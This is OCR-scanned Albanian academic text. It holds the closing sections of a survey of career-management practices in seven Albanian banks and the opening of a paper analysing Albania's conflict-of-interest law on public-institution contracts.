tjetér. Pér kéto arsye, organizatat shpesh i marrin punonjésit té kualifikuar dhe i
trajnojné€ ata vetém pér njé periudhé afatshkurtér pér t’i familjarizuar me produktet,
shérbimet dhe politikat e brendshme té tyre.

3. Konsulenca pér karrieré

Késhillimi pér karrieré éshté njé komunikim me punonjésin gé realizohet zakonisht
me ané té dy burimeve. Burimi i paré éshté menaxheri direkt (ose njé menaxher
tjetér gé ndodhet né njé pozicion mé lart se menaxheri direkt), i cili ka njohuri
témira lidhur me sjelljen e punonjésit, géndrimin, aftésité e tijetj.Burimi i dyté éshté
menaxheri i Burimeve Njerézore.Né varési t& kompleksitetit té organizatés, té
madhésisé sé saj dhe té burimeve financiare, mund té béhét edhe késhillimi nga
burime té jashtme.Tani ekzistojné agjenci té cilat ofrojné shérbime késhillimi pér
karrieré si pér punonjésit ashtu edhe pér organizatat.

Né shumé organizata menaxheri direkt éshté mé i pérshtatshmi pér té béré
késhillimin e karrierés duke gené se ai ka njohurité e duhura lidhur me punonjésin.
Nga ana tjetér, né ményré gé ky késhillim té jeté frytdhénés, duhet gé personi gé e
bén até té jeté né pozita t& mira brenda organizatés dhe mbi té gjitha té njohé miré
mundésité e karrierés gé ofron organizata dhe orientimin e ardhshém té organizatés.
Gjithashtu, shérbimi i késhillimit mund té jeté né konflikt me role té& tjera té
menaxherit, si psh.besueshméria (nése sjellja dhe géndrimi i tij jané t& besueshém si
pér organizatén ashtu edhe pér vartésin e tij).

Késhillimi i karrierés mund té béhet edhe nga stafi i BNj. Avantazhet gqé kané kéta
individé né késhillimin e karrierés jané se ata i njohin géllimet dhe zhvillimet mé té
fundit né organizaté, jané familjaré me planet MBN;j pér té gjithé organizatén dhe
kané njohuri, aftési dhe pérvojé né késhillimin e karrierés né pérgjithési. Barriera gé
zakonisht pengon stafin e MBNj nga késhillimi i karrierés éshté se ata jané pak té
ménjanuar nga jeta profesionale e organizatés.

Njé nga problemet me shqetésuese té késaj praktike éshté se menaxherét direkt e
shohin até si njé detyré, ngarkesé burokratike dhe pjesa mé e madhe e tyre éshté e
patrajnuar pér té kryer késhillimin e karrierés (Baruch, 2004 fq. 191). Ndérsa
menaxherét e BNj jané mé té orientuar me strategjiné e pérgjithshme té biznesit
késhtu gé ata jané mé né dijeni té planeve té ardhshme té organizatés, késhtu gé jané
mé t€ pérshtatshém pér t’u marré me késhillimin e karrierés.

Alternativa e treté, késhillimi népérmjet késhilluesve té jashtém, éshté gjithashtu njé
mundési e mundshme gé individét mund ta parapélgejné mé shumé se dy té parat,
nése e kané mundésiné pér té pérzgjedhur mes té trejave.
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4. Vlerésimi i performancés. baza pér planifikimin e karrierés

Shumé studime theksojné nevojén pér njé lidhje té ngushté mes sistemit té vlerésimit
té performancés (VP) dhe zhvillimit té karrierés (sic citohet nga Baruch, (2004):
Jacobson and Kaye, 1986; Eeitzel, 1987; Murphy and Cleveland, 1995). Gjithashtu,
Hall, Posner & Harder (1989)" sic citohet né Baruch (2004) shfaq hendekun mes
teorisé sé sistemeve té VP-sé dhe zbatimin e tyre, duke sugjeruar domosdoshmériné
e kombinimit t¢ PMK-sé me sistemet e VP-sé. Sistemet e VP-sé rezultonin operative
né pjesén mé té madhe té organizatave té marra né studim.

Nga té gjitha politikat dhe praktikat e menaxhimit té karrierés, VVP-ja éshté ndér mé
té réndésishmit. Pér MBNj, VP-né ka té njéjtén vleré qé kané edhe raportet
financiare (si té ardhurat dhe shpenzimet ose bilanci)pér sistemet financiare dhe té
kontabilitetit. Sisteme té vlefshme dhe té besueshme té VP-sé mund té identifikojné
se cili duhet promovuar, cili duhet té largohet nga organizata nése duhen béré
shkurtime né punonjés, dhe té identifikojné nevojat pér trajnim dhe zhvillim.
Zgjedhja e personave me potencial pér zhvillim t& métejshém mund té béhet duke u
bazuar pikérisht tek rezultatet e VP-sé. Nése sistemi i VP-€ éshté i besueshém dhe i
vlefshém, aimund té shérbejé si njé gur i fugishém pér njé sistem té integruar té
PMK-sé.

Sistemi i vierésimit té performancés 360 gradé. fundi i viteve 1990 u shogérua me
njé rritje tépérdorimit té kétij sistemi té VP-sé. Kjo ményré VP-je mund té marré
formén e vlerésimit té vetvetes, nga kolegét, nga drejtuesit mé té afért, nga drejtuesit
mé té larté, ose njé kombinim té vlerésimeve té ndryshme gé i shtohen vlerésimit
nga menaxheri pérgjegjés i punonjésit (Baruch, 2004). Kombinimi i vlerésimit nga
veté punonjési pér performancén e tij me vlerésimet e njé apo disa vlerésime té tjera
nga kolegé dhe/ose drejtues, rrit viefshmérine dhe besueshmériné e sistemit té VP-
sé. Por, ndérsa literatura e mbéshtet pérdorimin e VP-sé 360-gradé (Tornowet al. ,
1998)", duhet theksuar se kjo praktiké kérkon shumé kohé pér t’u administruar dhe
analizuar, késhtu gé nuk éshté shumé e thjeshté pér t’u zbatuar né ¢do organizaté.

5. Mentori (kujdestaria)

Qéllimi primaré i praktikés sé& mentorit (kudjestarit) éshté gé béjé té bashképunojné
dy persona: njé person me potenciale, aftési menaxheriale (pra q€ aspiron pér t’u
béré njé menaxher) dhe njé menaxher me eksperiencé, i cili jo domosdoshmérisht
duhet té jeté menaxheri direkt i menaxherit aspirant, pretendent. Menaxheri i vjetér
mund ta késhillojé dhe ta mbikqyré pretendentin pér menaxher, nécdo hap té punés
sé tij. Mentori pra éshté njé praktiké e menaxhimit té karrierés gé i ofrohet personelit
aspirant pér menaxherg, dhe jo pér nivele té ulta té hierarkisé sé njé organizate.

Metodologjia

Pér realizimin e kétij sondazhi u pérpilua njé pyetésor, né té cilin u listuan disa nga
politikat dhe praktikat mé té pérdorshme pér MKP-né. Pér ¢do politiké/praktiké
duhet té pérzgjidhej njé nga alternativat e mundshme lidhur me pérdorimin ose jo té
tyre nga banka. Alternativat e mundshme pér c¢cdo politiké/praktiké jané: nuk
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zbatohen fare, zbatohen pér pozicione té uléta né banké zbatohen vetém pér nivelet
e larta drejtuese, zbatohen pér té gjitha nivelet. Pér plotésimin e pyetésorit fillimisht
u komunikua né ményré elektronike me shefat e BNj-sé,té 14 prej bankave tregtare
gé operojné né Shqipéri pér t& mundésuar njé takim té drejtpérdrejté me ta. U mor
njé pérgjigje pozitive vetém nga 7 prej tyre té cilét ishin té disponueshém dhe
konfirmuam njé orar takimi pér tékontaktuar né ményré té drejpérdrejtépér
plotésimin e pyetésorit. Pérgjigjet e pyetésorit u pérpunuan dhe u organizuan
pérgjigjet pér cdo politiké/praktiké.

Rezultatet

Pérmbajtja e pyetésorit u fokusua rreth 5 politikave dhe praktikave bashkékohore mé
té pérdorura nga organizatat pér MKP-né: Rekrutimi i punonjésve, investimi né
arsimimin e punonjésve, strategjia pér MKP-né, trajnime dhe késhillime pér karrieré,
vlerésimi i performancés dhe mentori. Rezultatet nga pérpunimi i pyetésorit pér ¢cdo
politiké/praktiké jané si mé poshté:

Rekrutimi I punonjésve (Njoftimi i vendeve té reja té punés)

Pérsa i pérket procesit té rekrutimit t€ punonjésve, drejtuesit e bankave u pyetén
nésé bankat e tyre, pozicionet e lira gé krijohen (pozicione té uléta dhe nivele té larta
drejtuese) preferojné t’ua komunikojné fillimisht punonjésve t€ brendshém t€ bankés
apo preferojné t’i plotésojné me rekrutim té jashtém. Pérgjigjja e késaj pyetje ishte e
njéjté pér té gjitha bankat: vendet vakante, sidomos pozicionet e ulta né banké
fillimisht iu komunikohen me e-mail té gjithé punonjésve té bankeés, pér té paré nése
ka kandidatura nga stafi i brendshém i bankés. Pra, fillimisht preferohet rekrutimi i
brendshém. Vetém nése kandidaturat nga punonjésit aktualé té bankés nuk
plotésojné kriteret e vendosura pér pozicionet e lira, atéheré kalohet né plotésimin e
vendeve vakante me rekrutim té jashtém, ku ndér format mé té pérdorura jané:
publikimi i vendeve té reja té punés dhe mundésiae aplikimit né fagen zyrtare té
bankave (e zbatuar né té gjitha bankat e marra né studim), njoftimi né mediat lokale
dhe kombétare (e zbatuar né té gjitha bankat e marra né studim), marréveshje me
universitetet pér pranimin e studentéve pér praktika me qéllim térhegjen e
studentéve t&€ miré pér t’i punésuar né banké (e pérdorur nga 3 banka), si dhe
rekomandime nga punonjésit aktualé dhe aplikimet e rastésishme (e zbatuar né té
gjitha bankat e marra né studim).

Pér pozicionet e larta drejtuese, alternohet mé shumérekrutimi i jashtém me até té
brendshém. Praktika e pérdorur nga té gjitha bankat éshté qé té promovojé né
pozicione té larta drejtuese punonjés té cilét jané identifikuar si me potencial té
lartépér progres né karrieré, por ndodh shpesh qé bankat té “blejné” drejtues nga
banka té tjera, duke i joshur ato me njé pozicion dhe njé pagé mé té miré. Ky
importim i drejtuesve nga bankat e tjera i mundéson ¢cdo banke gé té pérfitojé nga
njohjet, reputacioni dhe Kklientela qé sjell me vete ¢do drejtues i ri (pérthithja e
Klientelés gé sjellin me vete drejtuesit nga bankat e tjera). Por, pérvec klientelés, ky
fenomen i pérhapur gjerésisht né nivelet e larta drejtuese né sistemin bankar, cénon

132



edhe at€ qé quhet “sekreti bankar”, duke gené se drejtuesi pérveg klientelés, do t&
shfytézojé edhe pikat e forta dhe té dobéta té bankés nga e cila éshté larguar. Ky
éshté njé fenomen shumé i pérhapur né sistemin bankar dhe té gjitha bankat
pérpigen té minimizojné démet dhe njékohésisht té pérfitojné maksimalisht pre;j tij.
Investim né arsimimin e punonjésve

Pérsa i pérket investimit né arsimimin e punonjésve, pérgjithésisht, t& 7 bankat e
marra né studim, preferojné té punésojné punonjés té profilit t&¢ duhur pér cdo
pozicion pune.Por si nénivelet e uléta ashtu edhe né nivelet e larta drejtuese,
pranohen individé té cilét pavarésisht profilit té tyre arsimor, kané aftésité e duhura
teknike dhe profesionale pér pozicionet e caktuara.Pastaj, 4 nga 7 bankat e marra né
studim, ofrojné bursa studimi pér Master apo kualifikime té tjera té nevojshme pér
zhvillimin e karrierés sé punonjésve té tyre.Kéto investime shogérohen edhe me njé
detyrim gé ka c¢cdo individ gé pérfiton prej tyre, gé té vazhdojné té punonjé pér
institucionit pér minimum njé periudhé té caktuar kohore, pas pérfundimit té
kualifikimit arsimor.

Strategfia per Menaxhimin e Karrierés sé punonfésve- trajnime dhe
konsulenca pér karrieré

Né pérgjithési bankat kané njé strategji pér menaxhimin e karrierés sé punonjésve té
tyre.Késhtu psh.4 nga 7 bankat e marra né studim kané njé strategji formale, té
shkruar, pér menaxhimin e karrierés sé punonjésve té tyre.Ndérsa né 3 bankat e
tjera, megjithése nuk ka njé strategji formale dhe té shkruar, drejtuesit e tyre
pranojné se praktikisht i kushtohet njé vémendje e vecanté progresit té karrierés sé
punonjésve.Té gjitha bankat e marra né studim pranojné se éshté e vérteté gé né
radhé té paré jané punonjésit ata gé jané pérgjegjés pér menaxhimin e karrierés sé
tyre, por ata kané nevojé edhe pér késhillimin dhe mbéshtetjen e organizatés.Pér
kété géllim, 2 nga bankat e marra né studim kané ngritur edhe njé strukturé pér
trajnimet e punonjésve dhe pér késhillimin e karrierés sé punonjésve té tyre.Mg sé
shumti, késhillimi i karrierés kryhet nga menaxheri direkt pér ¢cdo punonjés, i cili
ndodhet mé prané dhe e njeh mé miré vartésin e tij, porné 2 nga bankat ka njé person
té vecanté pjesé e Departamentit té Burimeve Njerézore (DBNj) gé merret né
ményré té drejtpérdrejté me késhillimin e karrierés sé punonjésve.

Pérvec trajnimeve té ndryshme gé lidhen me produktet dhe shérbimet bankare, 2 nga
bankat e marra né studim heré pas here zhvillojné edhe trajnime pér zhvillimin e
aftésive menaxhuese dhe lidershipi pér nivelet e larta drejtuese té bankés.Kéto
trajnime rezultojné té jené shumé té dobishme pér pjesémarrésit.

Vilerésimi i performancés: baza pér planifikimin e karrierés

VP-ja e punonjésve éshté njé praktiké gé pérdoret gjerésisht.Késhtu, 6 nga 7 bankat
e marra né studim e pérdorin kété funksion t& BNj, ndérsa njéra nga bankat e pérdor
até vetém pér té vlerésuar pérformancén e punonjésve té rinj té bankés, pér té paré
ecuriné e tyre né periudhén fillestare gé punésohen né banké, ndérsa pér punonjésit e
tjeré nuk bén njé vlerésim konstant té performancés sé tyre. Funksionit té VP-séi
jepet shumé réndési nga bankat ku 5 prej tyre pérdorin sistemin e VP-sé 360

133



gradé.Késhtu pér té vlerésuar performancén e ¢do punonjési, béhet njé vlerésim i
alternuar i performancés se tij duke filluar gé nga veté punonjési, i cili bén njé
vetévlerésim té performancés sé tij né puné, nga kolegé té afért té tij, nga eprori i
tijetj.Pra pér cdo punonjés béhen disa VP, pér té patur njé pamje mé té garté dhe
realiste pér perfromancén e tyre.Njéra prej bankave shkon edhe mé tej, duke e
outsourcing kété shérbim tek njé kompani e huaj e specializuar pér VP-né e
punonjésve.Eshté pér t’u theksuar se 4 nga 7 bankat e marra né studim, pérdorin
edhe njé sistem bonusi individual dhe sipas sektorit bazuar né arritjen e objektivave
(menaxhimi me anén e objektivave) té pércaktuar né bazé 3 —6 —mujore, dhe 1 —
vjecare.

Bankat qé e pérdorin gjerésisht teknikén e VVP-sé 360 gradé dhe sistemin e bonusit
lidhur me arritjen e objektivave, theksojné se jané té kénaqura nga pérdorimi i
tyredhe marrin feed — back shumé pozitiv prej tyre.Kéto teknika jané té lidhura
ngushté gjithashtu edhe me planifikimin e karrierés sé punonjésve.Késhtu,bankat
identifikojné punonjésit té cilét kané njé performanceé né rritje dhe planifikojné hapat
e ndryshme pér progresin e karrierés sé tyre.

Mentori

Megjithése shumé studime ndérkombétare lidhur me politikat dhe praktikat e BNj-sé
tregojné se prania e njé mentori (kujdestari) éshté njé nga teknikat mé efikase né
progresin e karrierés sépunonjésve, ashjé nga 7 bankat e marra né studim nuk e
zbaton praniné e mentorit p&r menaxhimin e karrierés sé punonjésve té tyre.

Diskutimet

Né pérfundim té kétij studimi mund té themi se né radhé té paré té shtaté bankat
tregtare qé operojné néShqipéri (t¢ marra né studim: Banka Kombétare Tregtare,
Tirana Bank, Union Bank, National Bank of Greece, Societe General, Credins Bank
dhe ProCredit Bank) kané njé departament té miréfillté t€ BNj i cili i kushton
vémendjen e duhur asetit mé té réndésishém té ¢cdo organizate gé jané pikérisht BNj.
Departamenti i BNj i kushton gjithashtu njé vémendje té vecanté edhe zhvillimit té
karrierés sé punonjésve té tyre. Kjo gjé reflektohet né pérshtatjen dhe investimin nga
ana e bankave né politikat dhe praktikat aktuale dhe eficente t¢ MKP-sé, por akoma
ka edhe shumé pér té béré. Késhtu, pérsa i pérket procesit té rekrutimitté
punonjésve, kéto banka pérgjithésisht parapélgejné té promovojné stafin e tyre
aktual pér pozicionet e reja gé krijohen gjé gé tregon njé vémendje nga ana e tyre
pér punonjésit dhe karrierén e tyre. Por vihet re edhe dukuria e blerjes sé drejtuesve
nga bankat e tjera, fenomen nga i cili pérfitojné dhe njékohésisht rrezikojné té gjitha
bankat. Pér kété rekomandohet gé bankat té vazhdojné promovimin e punonjésve té
tyre aktualé pér té plotésuar vendet e reja gé krijohen edhe né pozicione té larta
drejtuese. Gjithashtu, bankat né pérgjithési investojné né arsimimin dhe kualifikimin
e métejshém té punonjésve té tyre, duke dhéné bursa studimi pér kualifikimet e
métejshme té punonjésve ekzistues por edhe potencial si pér studime Masteri,
Doktorature si edhe kualifikime té tjera pasuniversitare. Edhe né kété piké ka vend
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pér pérmirésime, sidomos né ato banka gé nuk e kané akoma pjesé té kulturés sé tyre
organizative k&t€. Ajo qéésht€ shumé pér t’u vlerésuar €shté dhe vémendja qé i
kushtohet karrierés sé punonjésve nga disa prej bankave té cilat kané ngritur
struktura té posacme brenda DBNj-sé pér planifikimin dhe zhvillimin e karrierés sé
punonjésve si edhe kané hartuar njé strategji formale pér pérshtatjen e politikave dhe
praktikave pér MKP-né. Né kuadér té kétij investimi disa nga bankat organizojné
trajnime té ndryshme me eksperté té brendshém té bankés dhe té jashtém (si leksione
me profesoré nga universitetet vendase dhe té huaj) pér té zhvilluar aftésité
menaxhuese dhe lidershipi, por pérgjithésisht mungojné trajnimet e miréfillta pér
progresin e karrierés. Vlerésimi i performancés dhe metoda e dhénies sé bonuseve
né varési té arritjes se objektivave éshté njé nga politikat dhe praktikat e pérdorura
né ményré efikase nga bankat gé e shfrytézojné shumé pér identifikimin e
punonjésve me potencial pér karrieré. Ndérkohé géMentori (kujdestaria), ndonése
njé praktiké ndérkombétare shumé e pérhapur dhe rezultative, nuk éshté pérshtatur
ende nga bankat né Shqipéri.
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KONFLIKTI | INTERESAVE NE KONTRATAT ME PALE
NJE INSTITUCION PUBLIK
FjoridaBallauri (Kallgo), SkénderKagupi

Pérmbledhje

Céshtja e konfliktit té interesave éshté shumé e pranishme né debatin e sotém publik,
ashtu si edhe né shumé vende té tjera. Nga ky fenomen jané té riskuara né cdo kohé
fondet publike, pasuria shtetérore, shérbimi pér publikun etj, dhe pér kété arsye
shtetit i lind detyrimi té ngrejé instrumentét e duhur ligjoré pér té parandaluar kéto
situata.

Néushtrimin e detyrave dhe funksioneve zyrtare, personi i zgjedhur apo népunési
publik nuk duhet té ndikohet nga interesat e ngushta personale. Né& kété kuptim,
pérmes veprimeve, mosveprimeve apo vendimmarrjes sé tij, ai nuk mund té krijojé
pérfitime apo avantazhe pér vete, pér familjarét, té aférmit apo personat e tjeré fizike
dhe juridiké, me té cilét ndan interesa ekonomike ose politike. Ligji i parandalimit té
konfliktit té interesave ka parashikuar kufizime dhe ndalime té posacme té
interesave private pér zyrtarét gé ushtrojné funksione publike, né varési té funksionit
té tyre, pérgjegjésive dhe kompetencave né vendimmarrjet publike. Gjithashtu, ky
ligj ka parashikuar ndalime dhe kufizime té posagme pér rastet e lidhjes sé
kontratave me palé njé institucion publik, duke e konsideruar lidhjen e njé kontrate
si njé vendimmarrje té vecanté publike, e cila, pér shkak té réndésisé dhe vlerave
pasurore publike gé mund té mbarté e pérfshijé, éshté e rrezikuar gé té démtohet nga
veprimi i interesave private té zyrtaréve. Ky punim synon té béjé njé analizé té
legjislacionit né drejtim té kufizimeve té interesave private té zyrtaréve publiké pér
parandalimin e rasteve té vecanta té konfliktit té interesave né lidhjen e kontratave
me palé njé institucion publik.

Fjale kyce: konflikt interesi, fonde publike, nenpunes publik, interesa private,
kufizime ligjore, vendimmarjen.

Abstract

The issue of conflict of interest is present in many of today's public debate , as in
many other countries . From this phenomenon are at risk at any time public funds,
state property , public service , etc. , and therefore there comes the obligation of the
state to establish the appropriate legal instruments to prevent these situations .

In exercising of official duties and functions , the elected person or public official
should not be influenced by narrow personal interests . In this sense , through the
actions or inactions of his decision , he can not create benefits or advantages for
himself , family members , relatives or other physical persons and legal entities, with
which heshares economic or political interests. Law on prevention of conflict of
interests has provided special restrictions and prohibitions of private interests to
public officials who exercise public functions,depending on their function |,
responsibilities and competence in public decision-makings . Also , this law has
prohibitions and restrictions for special cases with parties entering into contracts
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with a public institution , considering this contract as a special public decision-
making , which , because of the importance and values of public property that it
represent, is vulnerable to manipulation by the action of officials' and private
interests.This work intends to make an analysis of the legislation in terms of
restrictions of private interests of public officials, to prevent random cases of
conflict of interest inthe situations of contract -makingwhere one party in the
contractis a public institution.

1. Hyrje

Konflikti i interesave éshté béré tashmé njé ndér ¢éshtjet mé té diskutuara né debatin
e pérditshém publik, por edhe mé gjéré. Kjo pér faktin se konflikti i interesave lidhet
drejtpérdrejt me jetén dhe miréqgénien e qytetaréve, duke géné se nga ky fenomen
jané té riskuara né c¢cdo kohé&, shérbimi pér publikun, fondet publike, pasuria
shtetérore etj. Kéto jané fushat aktualisht mé té pérfolura pér korrupsion, megjithése
konflikti i interesit nuk do té thoté domosdoshmérisht korrupsion. Eshté i njohur
tashmé fakti gé konfliktet midis interesave private dhe funksioneve té zyrtaréve
publiké mund té cojné né Kkorrupsion, né qofté se nuk menaxhohen sic
duhet.Qytetarét jané té interesuar té njihen dhe té kené transparencé lidhur me faktin
se ku shkojné kontributet té& tyre népérmjet taksave té paguara, apo si pérdoret
pasuria publike, ndérsa biznesit i intereson ecuria e kétij procesi né té ardhmen duke
e paré veten jo vetém si pérfitues té térthorté nga fondet publike, por edhe si aktoré
té mundshém dhe pérfitues né kryerjen e procesit té rishpérndarjes.

Né kété proces, shteti duhet té sigurojé gé zyrtarét publiké té mos lejojné gé interesat
e tyre private té ndikojné vendimmarrjen e tyre. Né té kundért, kjo do té ndikonte gé
té dobésohet dhe té cenohet besimi i gytetaréve te institucionet publike.

E gjithé veprimtaria e zyrtaréve publiké duhet té udhéhiget nga disa parime
themelore si ligjshméria, mbrojtja e interesave publike dhe té drejtave té personave
privaté, barazia, drejtésia dhe paanshméria, pérgjegjshméria, kontrolli i brendshém,
efektshméria, etj., té rregulluara nga Kodi i Procedurave Administrative (KPA) dhe
ligjet specifike. Konflikti i interesave éshté dukuria mé e mundshme gé mund té
preké e dobésojé zbatimin e parimeve té pérmendura mé lart.Pér kété arsye, jané
parashikuar rregulla dhe procedura pér parandalimin e konfliktit té interesave me
géllim luftimin e tij gé né embrion dhe shmangien e pasojave té démshme dhe
shpeshheré me kosto té konsiderueshme financiare pér shtetin dhe shogériné.

2. Kuptimi i konfliktit té interesit

Lidhur me konceptin e konfliktit té interesit, jané dhéné pérkufizime té
ndryshme nga legjislacione té vendeve té ndryshme. Duke qéné se té gjithé zyrtarét
publiké kané interesa legjitime nga té génit edhe qytetaré té thjeshté, konfliktet e
interesit nuk mund thjesht té shmangen apo kufizohen, ato duhet té pérkufizohen,
identifikohen dhe trajtohen.

Ligji yné, nr.9367, daté 7.4.2005 “’Pér parandalimin e konfliktit t€ interesave
n€ ushtrimin e funksioneve publike” i ndryshuar, né nenin 3/1 t€ tij jep kété
pérkufizim té konfliktit té interesit.
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“Konflikt i interesit” éshté gjendja e konfliktit ndérmyet detyrés publike dhe
Interesave privaté té nfé zyrtari, né té cilén ar ka interesa privaté, té dreftpérdrejté ose
té térthorté, gé ndikofné, mund té ndikofné ose duket sikur ndikojné né kryerjen né
meényré té padrejté té detyrave dhe pérgfegjésive té tif publike” .

Konflikti i interesave éshté i perkufizuar me ligj, sipas té njéjtit pérkufizim
té ofruar nga dokumenti standartrekomandues i OECD-sé. Pérkuzimi pérmban
konceptin e pérgjithshém té konfliktit té interesave dhe zbérthehet né disa nén-
pérkufizime, pérkatésisht konflikti faktik, né dukje dne i mundshémi interesit. Kéto
tre tipe té konfliktit t& interesit dallohen né raport me efektet e interesave né
vendimmartrje.

Ky éshté njé pérkufizim mjaft i sakté i konfliktit té interesit, i cili trajton dhe
llojet e shfagjes sé konfliktit t& interesit. Né nenin 3 pika 4 té ligjit nr.9367, daté
7.4.2005 Pér parandalimin e konfliktit té interesave né ushtrimin e funksioneve
publike” jepenedhepérkufizimetpérllojeté ndryshme t€ shfagjes se konfliktit.

Gjaté ushtrimit té& funksioneve publike njé zyrtar mund té pérballet me
céshtje té ndryshme té shfagjes sé konfliktit té interesit, né formén e a) konfliktit té
vazhdueshém té interesit apo ajo gé ne ndryshe e quajmé papajtueshméri me
funksionin publik dhe b) konflikt rast pas rasti gé ka lidhje té drejtpérdrejté me
ushtrimin e funksionit publik.

Duhet té theksojmé se ligji shqiptar pér parandalimin e konfliktit té
interesave éshté njé ligj, i cili né térésiné e tij, pérshkohet nga njé frymé e ndalimeve
deri diku té rrepta ndaj zyrtaréve publiké. Kjo del si rrjedhojé jo vetém nga analiza e
pérkufizimeve, Kkategorive té zyrtaréve g€ i nénshtrohen kufizimeve dhe
mekanizmave qgé parashikon ligji pér identifikimin, parandalimin, zgjidhjen dhe
ndéshkimin e situatave té konfliktit té interesit.

Kufizime té tilla jané béré duke patur parasysh sé pari domosdoshmériné gé
té sigurohet njé vendimmarrje sa mé e drejté dhe e paanshme né interesin mé té miré
publik, si dhe gjendjen aktuale té nivelit té ulét té besimit té publikut né integritetin i
institucioneve té administratés publike.

Né Kreun 11, Seksioni 1 i ligjit nr.9367, daté 7.4.2005 i ndryshuar jané parashikuar
njé séré kufizimesh té interesave private té zyrtarit pér parandalimin e konfliktit rast
pér rast té interesit pér ¢éshtje té vecanta.
Kéto kufizime jané té pérgéndruara né tre drejtime kryesore:

Ndalimi pér lidhjen e kontratave me palé njé institucion publik

Ndalimi né sigurimin e té ardhurave pér shkak té funksionit té vecanté.

Ndalimi i dhuratave, favoreve, premtimeve ose trajtimeve preferenciale.
Nisur nga réndésia qé paraget, legjislacioni né fugi ka parashikuar njé séré
ndalimesh té lidhjes sé kontratave me palé njé institucion publik nga té cilat mund té
pérfitojné zyrtaré té& ndryshém, né rrugé té drejtpérdrejté apo té térthorté, duke i
dhéné shkak shfagjes sé njé konflikti qofté dhe né dukje té interesit, me apo pa
pjesémarrjen e drejtpérdrejté té kétyre zyrtaréve né lidhjen e késaj kontrate.
Ligji i pandalimit té konfliktit té interesave i ka kushtuar njé nen té veganté ndalimit
té lidhjes sé kontratave (neni 21), duke e quajtur lidhjen e njé kontrate si njé
vendimmarrije té vecanté publike, e cila, pér shkak té réndésisé dhe vlerave pasurore
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publike gé& mund té mbarté e pérfshijé, éshté e rrezikuar gé té démtohet nga veprimi i
interesave private té zyrtaréve té pérfshiré né kété vendimmarrje. Konflikti i
interesave né lidhjen e kontratave me palé njé institucion publik éshté njé lloj i
vecanté i konfliktit rast pér rast té interesit.

Neni 21 i ligjit pér parandalimin e konfliktit té interesave ka paragitur ndalimet né
dy nivele té ndryshme. Jané parashikuar ndalime té posacme pér kategori té caktuara
zyrtarésh, pavarésisht rolit té tyre né lidhjen e kontratave me palé njé institucion
publik (pikat 1, 2 e 6) dhe ndalime té tjera gé varen nga roli konkret i zyrtarit né
vendimmarrjen pér kéto kontrata (pika 3).

Konkretisht né pikén 1 té nenit 21 té ligjit té pandalimit té konfliktit té interesave
éshté pércaktuar se:

“Asnfé individ, kur ky njésohet me njé zyrtar né njérin nga funksionet e pércaktuara
né kreun 111, seksioni 2 té kétif ligji dhe asnjé shogéri tregtare, ortakéri a shogéri e
thjeshté, ku Ky zyrtar zotéron, né ményré aktive apo pasive, aksione a pjesé né
kapital, né cfarédo sasie, nuk mund té lidhé kontraté ose nénkontraté me asnjé
institucion publik’.

Pér géllim té nenit 21 pika 1 dhe 2 trajtohen vetém rastet kur zyrtari né

marrédhéniet me njé institucion publik shfaget si individ, person fizik tregtar,
profesion i liré ose kur si palé shfaget ¢cdo person juridik né formén e njé organizmi
fitimprurés né té cilin zyrtari zotéron interesa pasurore, té tilla si aksione apo pjesé
né kapital.
Po cilét jané zyrtarét gé pérfshihen né kété ndalim, cilat jané llojet e kontratave me
palé njé institucion publik pér té cilat ligji ka parashikuar ndalime dhe kufizime té
posacme dhe cilat jané interesat private té kétyre zyrtaréve gé mund té béhen shkak
pér lindjen e njé konflikti interesi né kéto raste.

3. Kategorité e zyrtaréve té pérfshiré né ndalimin e lidhjes sé kontratave me
palé njé institucion publik
Né ligj éshté pércaktuar shprehimisht se cili do té jeté rrethi i zyrtaréve té ciléve ju
ndalohet né ményré absolute té pérfitojné nga kontratat me palé njé institucion
publik. Kategorité e pérfshira né ndalim jané:
* Presidenti i Republikés;
» Kryeministri, z€vendéskryeministri, ministrat e z€vendésministrat;
* Deputetét;
* Gjyqtarét e Gjykatés Kushtetuese e t€ Gjykat€s s€ Lart€; anétarét e
Késhillit té Larté té Drejtésisé (KLD), Prokurori i Pérgjithshém, Kryetari i
Kontrollit té Larté té Shtetit (KLSH),
Avokati i Popullit, anétarét e Komisionit Qendror t& Zgjedhjeve (KQZ),
Inspektori i Pérgjithshém i Inspektoratit té Larté té Deklarimit dhe té
Kontrollit té Pasurive (ILDKP);
* Anétarét e enteve rregullatore (Késhilli Mbikéqyrés i Bankés s€
Shqipérisé, pérfshiré  Guvernatorin dhe Z&vendésguvernatorin, té
konkurrencés, telekomunikacionit; energjisé; furnizimit me ujé, té
sigurimeve, letrave me vlerg, mediave);
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» Sekretarét e Pérgjithshém, drejtorét e departamenteve, drejtorét e
pérgjithshém dhe népunésit e nivelit té mesém drejtues té institucioneve
gendrore, si dhe ¢do zyrtar tjetér, né ¢do institucion publik, gé éshté, té
paktén, i barasvlershém pér nga pozicioni me kéta zyrtaré.

Né pikén 2 té nenit 21 té ligjit nr.9367, daté 7.4.2005, i ndryshuar parashikohen dhe
ndalimi i lidhjes sé kontratave me palé njé institucion publik né geverisjen vendore.
Ligji né kété rast e ka kufizuar kété ndalim me juridiksionin dhe ushtrimin e
kompetencave té té zgjedhurve vendoré.

Konkretisht né neni 21 pika 2 té kétij ligji parashikohet se:

“ Kur zyrtari éshté né funksionin e kryetarit a té nénkryetarit té bashkisé, komunés
ose té késhillit té garkut, té anétarit té késhillit pérkatés ose éshté zyrtar i nivelit té
larté drejtues té njé njésie té geverisjes vendore, sipas interpretimit té kétif termi né
ligjet pérkatése, naalimi sipas pikés 1 té kétif neni, pér shkak té interesave privaté té
zyrtarit, té pércaktuara né kété piké, zbatohet vetém né lidhjen e kontratave, sipas
rastit, me bashkiné, komunén ose késhillin e qarkut, ku zyrtari ushtron kéto
funksione. Ky naalim zbatohet edhe kur palé né kontraté éshté njé institucion publik,
né varési té késaf njésie”.

Pra né kété rast, kufizimi éshté vetém pér kontratat gé lidhen nga bashkia,
komuna apo garku si dhe institucionet né varési té tyre, nga njéra ané dhe zyrtaréve
té pércaktuar né kété piké, mjafton gé kéta zyrtaré té kené njé interes té llojit qé
pércaktohet né pikén 1 té shpjeguar mé sipér. Kjo do té thoté gé zyrtarét vendoré
nuk jané té pérjashtuar nga mundésia e lidhjes sé kontratave me ¢do institucion tjetér
publik (gendror apo vendor), pérjashtuar institucionin vendor ku ata ushtrojné
funksionin.

Ndalimet e pércaktuara né nenin 21 pika 1 té ligjit nr,9367, daté 7.4.2005, i
ndryshuar, me pérjashtimetpérkatése, zbatohen, nété njéjtén masé, edhe pér personat
